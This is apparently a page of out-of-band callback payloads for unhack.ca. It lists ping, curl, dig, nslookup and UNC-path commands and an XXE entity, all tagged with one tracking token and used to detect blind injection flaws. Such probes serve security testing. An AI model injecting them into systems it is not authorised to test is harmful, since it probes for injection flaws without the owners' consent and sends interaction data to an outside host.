$ ping -c1 -p 00cc112bffa2f5db43afac827c97e200 unhack.ca
 

$ curl http://unhack.ca/p/cc112bffa2f5db43afac827c97e2
 

$ dig cc112bffa2f5db43afac827c97e2 @unhack.ca
 

$ dig cc112bffa2f5db43afac827c97e2.ns.unhack.ca
 

C:\> nslookup cc112bffa2f5db43afac827c97e2 unhack.ca
 

C:\> type \\unhack.ca\cc112bffa2f5db43afac827c97e2\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/cc112bffa2f5db43afac827c97e2">]>
    <foo>&xxe;</foo>